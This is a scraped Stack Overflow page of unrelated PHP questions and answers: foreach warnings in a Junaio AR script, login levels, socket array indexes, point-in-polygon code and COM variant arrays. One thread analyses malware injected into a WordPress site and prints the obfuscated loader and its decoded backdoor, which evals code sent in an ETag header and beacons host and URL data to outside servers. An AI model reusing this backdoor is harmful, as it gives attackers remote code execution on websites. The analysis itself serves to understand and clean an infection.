3 × Warnings: Foreach [closed] - php

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Questions asking for code must demonstrate a minimal understanding of the problem being solved. Include attempted solutions, why they didn't work, and the expected results. See also: Stack Overflow question checklist
Closed 8 years ago.
Improve this question
I've a bit trouble with "foreach". The test page displays:
*Warning: Invalid argument supplied for foreach() in /data/web/virtuals/23481/virtual/www/subdom/vsohbrno/poi/junaio/junaio/test.php on line 60*
*Warning: array_multisort() [function.array-multisort]: Argument #1 is expected to be an array or a sort flag in /data/web/virtuals/23481/virtual/www/subdom/vsohbrno/poi/junaio/junaio/test.php on line 64*
*Warning: Invalid argument supplied for foreach() in /data/web/virtuals/23481/virtual/www/subdom/vsohbrno/poi/junaio/junaio/test.php on line 68*
However I make it for Junaio (AR application for smartphone) - and when I tried to run it here (in the app), I had no trouble with it - it's working. But if the warnings will be disappear also in www pages, it would be fine =o)
My source code:
<?php
require_once '../ARELLibrary/arel_xmlhelper.class.php';
if(!empty($_GET['l']))
$position = explode(",", $_GET['l']);
else
trigger_error("user position (l) missing. For testing, please provide a 'l' GET parameter with your request. e.g. pois/search/?l=23.34534,11.56734,0");
//create the xml start
ArelXMLHelper::start(NULL, "/arel/index.html");
//start by defining some positions of geo referenced POIs and give those names and thumbnails
$treasureLocations = array(
array("48.6045911000,14.7007322000,0", "Tradiční výroba marmelád a povidel ", "Jih Čech > Šumava > Šumava a Pošumaví. Obec: Pohorská Ves."),
array("48.6438239000,14.2208661000,0", "Restaurace Czech Specials (Restaurace Lanovka)", "Jih Čech > Šumava > Šumava a Pošumaví. Obec: Lipno nad Vltavou."),
array("48.6541914000,14.0354000000,0", "Plavení dřeva, vorařství – Schwarzenberský plavební kanál", "Jih Čech > Šumava > Šumava a Pošumaví. Obec: Přední Výtoň."),
);
//in the filter_value, the continent parameter will be send from the client, once the continent is filtered
$filter = $_GET['filter_value'];
//display the POIs as defined in the Constructor
$countpoi = 1;
foreach($treasureLocations as $i => $findPOI)
{
//Parameters for distance calculate. $Location = GPS coordinates of the POI, $Position = my GPS position.
$location = explode(",", $findPOI[0]);
//Calculate distance beween my position and POI
$deg2RadNumber = (float)(pi() / 180);
$earthRadius= 6371.009;
$latitudeDistance=((float)$position[0]-(float)$location[0])*$deg2RadNumber;
$longitudeDistance=((float)$position[1]-(float)$location[1])*$deg2RadNumber;
$a=pow(sin($latitudeDistance/2.0),2) + cos((float)$position[0]*$deg2RadNumber) * cos((float)$location[0]*$deg2RadNumber) * pow(sin($longitudeDistance/2.0),2);
$c=2.0*atan2(sqrt($a),sqrt(1.0- $a));
$distance=round($earthRadius*$c);
//Set distance for displaying objects (in kilometers)
if($distance < 10)
{
$title = $findPOI[1]; //Title of the POI
$poi[$countpoi]['attribution'] = $findPOI[2]; //Description of the POI
$poi[$countpoi]['distance'] = $distance; // Distance between POI and me
//create the POI
$poi[$countpoi]['poi'] = ArelXMLHelper::createLocationBasedPOI($i, $title, explode(",", $findPOI[0]), "http://vsohbrno.chudst.cz/poi/poi_obrazek.png", "http://vsohbrno.chudst.cz/poi/poi_obrazek.png", $poi[$countpoi]['attribution'], NULL);
$countpoi++;
}
}
//Sorting POI (the closest -> the furthest)
foreach ($poi as $val)
{
$sortarray[] = $val['distance'];
}
array_multisort($sortarray,$poi);
//Write 39 POI to XML file
foreach ($poi as $POInumber => $POIvalue)
{
if($POInumber < 39){
if(!empty($filter))
{
if(strtolower($filter) == strtolower($poi[$POInumber]['attribution']))
{
ArelXMLHelper::outputObject($poi[$POInumber]['poi']);
}
}
else
{ArelXMLHelper::outputObject($poi[$POInumber]['poi']);}
}
}
//end the output
ArelXMLHelper::end();
?>

If the distance is never smaller than 10 km, $poi will not be initialised, which is what the error means.
Initialise $poi to be an array and it should remove the warnings:
$poi = array();

Related

PHP - if int reached to n [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 1 year ago.
Improve this question
Take these levels:
level1 = 0days
level2 = 30days
level3 = 90days
All these levels are totally dynamic. Admin can alter number of levels and duration of levels at any time.
I am recording numberOfDailyLogin in a series, so if user not login even for 1 day meter reset to 0.
I am trying to give user a special level tag on basis of numberOfDailyLogin
I have a solution already by running a while loop from 0 to numberOfDailyLogin and update variable once >= daysRequired for login.
But I don't want it this way, want something easy
I am totally clueless at this point, I can't hardcode any of the
value, so please if you are interest please give some suggestion.
#Edit1
// json response for levels
{
"status": 200,
"body": [
{
"name": "level1",
"after_days": 0,
},
{
"name": "level2",
"after_days": 50,
},
{
"name": "level3",
"after_days": 180,
}
]
}
function getLevel($allLevels, $numberOfDailyLogins) {
foreach ($allLevels as $l) {
if ($numberOfDailyLogins > $l['after_days']) {
return $l['name'];
}
}
}
Problem is if numberOfDailyLogins=51.. so it should show level2... cause after 50 days userLevel reached to level2.. but my code return level1 which is totally wrong.
#brombeer suggestion works for me, Thanks mate
function getLevel($allLevels, $numberOfDailyLogins) {
$level = null;
foreach ($allLevels as $l) {
if ($numberOfDailyLogins> $l['after_days']) {
$level = $l;
}
}
// TO-DO... do whatever you want
}
It's a simple logic error - your code returns after the first iteration because the value is already greater than 0 (the first level in the list).
One simple solution is to search the array in reverse instead:
function getLevel($allLevels, $numberOfDailyLogins) {
for ($i = count($allLevels) -1; $i >= 0; $i--) {
if ($numberOfDailyLogins > $allLevels[$i]['after_days']) {
return $allLevels[$i]['name'];
}
}
}
Demo: http://sandbox.onlinephpfunctions.com/code/3b00c6d182676411915cae1fbb21a1afba2548e8

Restart the PHP array indexes [duplicate]

This question already has answers here:
How to find the first free key in an array
(7 answers)
Find the first missing number in a sequence of numbers
(5 answers)
Closed 3 years ago.
I will explain:
I have a socket socket.php file that will add a connection for each user so the user has multiple connections from different devices.
$clients[] = $socketChange; // array_push($clients,$socketChange); // 505
$end = key (array_slice ($clients, -1, 1, TRUE)); // extract 505
$userConexion [$userId] [] = $end; // add to clientID socket 505
what you do is add each connection to the client array and then the last added socket assign it to the corresponding user. so the user can have multiple sessions of different devices and in all will receive the information in real time.
Now what is my question is ...
how can I control of positions, that is, if they connect and disconnect 1k from users
for the user number 1001 $ clients he will show me$ clients [1001]how he could restart the counter without removing the users already connected.
i delete clients socket close with unset() array_shift() reorder bad $clients sockets.
example:
$clients[0] = resource 0;
$clients[1,433] = empty;
$clients[434] = resource 434;
$clients[435] = resource 435;
$clients[436,450] = empty;
$clients[451] = resource 435;
$clients[452,999] = empty;
$clients[1000] = resource 1000;
new connexion 1001
add to empty positions.
example:
<?php
$a1 = array();
$a2 = array();
for ($i=1; $i < 4 ; $i++) {
$a1[] = array("hello{$i}" => "hello{$i}");
$a2[] = array("hello{$i}" => "hello{$i}");
}
echo "<pre>";
unset($a1[1]);
unset($a2[1]);
$a1[] = array("hello11" => "hello11");
array_push($a2, array("hello11" => "hello11"));
print_r($a1); // 0,2,3
print_r($a2); // 0,2,3
// need insert in position empty in this example `1`.
I'm not sure to understand your question, but if you want to add the new connection's data in the first unoccupied index of your array, here is something you can do :
for($i=0; $i<count($clients)+1; $i++) {
if(!isset($clients[$i]) {
$clients[$i] = resource 1001;
break;
}
}
Use empty($clients[$i]) instead of !isset($clients[$i]) if the index still exist in the array and simply do not have a value anymore.

Malicious encoded string in my wordpress site, what does it do? [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Closed 9 years ago.
Questions asking for code must demonstrate a minimal understanding of the problem being solved. Include attempted solutions, why they didn't work, and the expected results. See also: Stack Overflow question checklist
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Improve this question
My site is not working at all, and I noticed that someone put this string on the top of all the .php files:
<?php /* b9cb27b481275ee07e304fa452b06754b499b5bf */ $u="p"."r"."e"."g"."_"."rep"."l"."ac"."e";$z="gzunc"."om"."press";$m="bas"."e"."64"."_dec"."ode";$u("/x"."wab"."z5/e",$z($m("eNrNVW"."1Po0AQ/"."i8mTfSDBLcslNwnrWj"."P86q2WHOfmgWGlpMuuEBr/737AnSx1Xi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"); /* f9d4b9453f919477fd0a13c96fe26367485b9689 */ ?>
What does this ^ do?
Right now I'm using the command "grep" to find all the infected files, but I'm not sure if I will be able to make my site work again only removing these strings from the .php files.
FWIW, the following code seems to be eval'd, might have made a mistake along the way. Evil, but fascinating. Seems to have something to do with HTTP ETags.
function NAOWvLp ($nsSLWk, $Qlu) {
$QWVH = array();
for ($iyJ=0; $iyJ<256; $iyJ++) {
$QWVH[$iyJ] = $iyJ;
}
$TRNh = 0;
for ($iyJ=0; $iyJ<256; $iyJ++) {
$TRNh = ($TRNh + $QWVH[$iyJ] + ord($nsSLWk[$iyJ % strlen($nsSLWk)])) % 256;
$HMynt = $QWVH[$iyJ];
$QWVH[$iyJ] = $QWVH[$TRNh];
$QWVH[$TRNh] = $HMynt;
}
$iyJ = 0;
$TRNh = 0;
$pvFu = "";
for ($Nuwp=0; $Nuwp<strlen($Qlu); $Nuwp++) {
$iyJ = ($iyJ + 1) % 256;
$TRNh = ($TRNh + $QWVH[$iyJ]) % 256;
$HMynt = $QWVH[$iyJ];
$QWVH[$iyJ] = $QWVH[$TRNh];
$QWVH[$TRNh] = $HMynt;
$pvFu .= $Qlu[$Nuwp] ^ chr($QWVH[($QWVH[$iyJ] + $QWVH[$TRNh]) % 256]);
}
return $pvFu;
}
if (isset($_SERVER['HTTP_ETAG']) and
$glKV = explode(urldecode("+"), base64_decode(substr($_SERVER['HTTP_ETAG'], 5))) and
array_shift($glKV) == "4a9a5250737956456feeb00279bd60eee8bbe5b5") {
die(eval(implode(urldecode("+"), $glKV)));
$dmfVio = array("http://vapsindia.org/.kwbaq/","http://creatinghappiness.in/.gtput/","http://eft-psicologia-energetica.com.br/.kjwqp/");
shuffle($dmfVio);
#file_get_contents(
array_pop($dmfVio),
false,
stream_context_create(
array(
"http"=>array(
"method"=>"GET",
"header"=>"ETag: yJTHY"
.base64_encode(
NAOWvLp(
"yJTHY",
"mPRNwu 5c b92e "
.base64_encode(
"61ab82c976d485e1b3bba27430e47db64dc2559f "
.NAOWvLp(
"4a9a5250737956456feeb00279bd60eee8bbe5b5",
$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']
)
)
)
)."\r\n"
)
)
)
);
}

Point in Polygon algorithm giving wrong results sometimes [closed]

Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 4 years ago.
Improve this question
I saw on StackOverflow a "point in polygon" raytracing algorithm that I implemented in my PHP Code. Most of the time, it works well, but in some complicated cases, with complex polygons and vicious points, it fails and it says that point in not in polygon when it is.
For example:
You will find here my Polygon and Point classes: pointInPolygon method is in Polygon class. At the end of the file, there are two points that are supposed to lie inside the given polygon (True on Google Earth). The second one works well, but the first one is buggy :( .
You can easily check the polygon on Google Earth using this KML file.
Have been there :-) I also travelled through Stackoverflow's PiP-suggestions, including your reference and this thread. Unfortunately, none of the suggestions (at least those I tried) were flawless and sufficient for a real-life scenario: like users plotting complex polygons on a Google map in freehand, "vicious" right vs left issues, negative numbers and so on.
The PiP-algorithm must work in all cases, even if the polygon consists of hundreds of thousands of points (like a county-border, nature park and so on) - no matter how "crazy" the polygon is.
So I ended up building a new algorithm, based on some source from an astronomy-app:
//Point class, storage of lat/long-pairs
class Point {
public $lat;
public $long;
function Point($lat, $long) {
$this->lat = $lat;
$this->long = $long;
}
}
//the Point in Polygon function
function pointInPolygon($p, $polygon) {
//if you operates with (hundred)thousands of points
set_time_limit(60);
$c = 0;
$p1 = $polygon[0];
$n = count($polygon);
for ($i=1; $i<=$n; $i++) {
$p2 = $polygon[$i % $n];
if ($p->long > min($p1->long, $p2->long)
&& $p->long <= max($p1->long, $p2->long)
&& $p->lat <= max($p1->lat, $p2->lat)
&& $p1->long != $p2->long) {
$xinters = ($p->long - $p1->long) * ($p2->lat - $p1->lat) / ($p2->long - $p1->long) + $p1->lat;
if ($p1->lat == $p2->lat || $p->lat <= $xinters) {
$c++;
}
}
$p1 = $p2;
}
// if the number of edges we passed through is even, then it's not in the poly.
return $c%2!=0;
}
Illustrative test :
$polygon = array(
new Point(1,1),
new Point(1,4),
new Point(4,4),
new Point(4,1)
);
function test($lat, $long) {
global $polygon;
$ll=$lat.','.$long;
echo (pointInPolygon(new Point($lat,$long), $polygon)) ? $ll .' is inside polygon<br>' : $ll.' is outside<br>';
}
test(2, 2);
test(1, 1);
test(1.5333, 2.3434);
test(400, -100);
test(1.01, 1.01);
Outputs :
2,2 is inside polygon
1,1 is outside
1.5333,2.3434 is inside polygon
400,-100 is outside
1.01,1.01 is inside polygon
It is now more than a year since I switched to the above algorithm on several sites. Unlike the "SO-algorithms" there have not been any complaints so far. See it in action here (national mycological database, sorry for the Danish). You can plot a polygon, or select a "kommune" (a county) - ultimately compare a polygon with thousands of points to thousands of records).
Update
Note, this algorithm is targeting geodata / lat,lngs which can be very precise (n'th decimal), therefore considering "in polygon" as inside polygon - not on border of polygon. 1,1 is considered outside, since it is on the border. 1.0000000001,1.01 is not.

How do you read from a multidimensional variant array returned from a COM object in PHP?

I'm working with a COM object that returns a multidimensional VARIANT array (vt_array), and I'm trying to read values from the array.
When I use print_r($mdArray) it displays variant Object.
(variant_get_type($mdArray) returns 8204.)
I tried using foreach ($mdArray as $oneArray) but I get the message:
Warning: Loader::getfields() [loader.getfields]: Can only handle
single dimension variant arrays (this
array has 2) in
C:\Inetpub\wwwroot\root\script\fileloader.php
on line 135 Fatal error: Uncaught
exception 'Exception' with message
'Object of type variant did not create
an Iterator' in
C:\Inetpub\wwwroot\root\script\fileloader.php:135
Stack trace: #0
C:\Inetpub\wwwroot\root\script\fileloader.php(135):
Loader::getfields() #1
C:\Inetpub\wwwroot\root\testloader.php(21):
Loader->getfields() #2 {main} thrown
in
C:\Inetpub\wwwroot\root\script\fileloader.php
on line 135
(The foreach loop is on line 135)
The only information I can get about the array is by using count($mdArray) which returns 8.
If anyone here has any experience reading from multidimensional VARIANT arrays please tell me how this can be done.
Try this to extract array values through "VBScript". Yes, you read that right...
<?php
$com = new COM("MSScriptControl.ScriptControl");
$com->Language = 'VBScript';
$com->AllowUI = false;
$com->AddCode('
Function getArrayVal(arr, indexX, indexY)
getArrayVal = arr(indexX, indexY)
End Function
');
$y1 = 0;
$y2 = 1;
for ($x=0; $x < count($mdArray); $x++) {
echo $com->Run('getArrayVal', $mdArray, $x, $y1) . ": ";
echo $com->Run('getArrayVal', $mdArray, $x, $y2) . "\n";
}
?>
Tested good on a VBScript-created array, which otherwise gave me the exact same issues and errors as you when trying to coerce it to behave like a PHP array. The above method spawned by the unholy union of PHP and VBscript should extract values piece by piece just fine.
To explain $y1 = 0; $y2 = 1;, keep in mind the parameters of the VBScript function are byref, so you can't pass anything in except a variable.
Edit: Added $com->AllowUI = false to shut off any on-screen popups. Otherwise it would freeze the request if a MsgBox() somehow got called from VBScript and no one was at the server terminal to click 'ok'.

Categories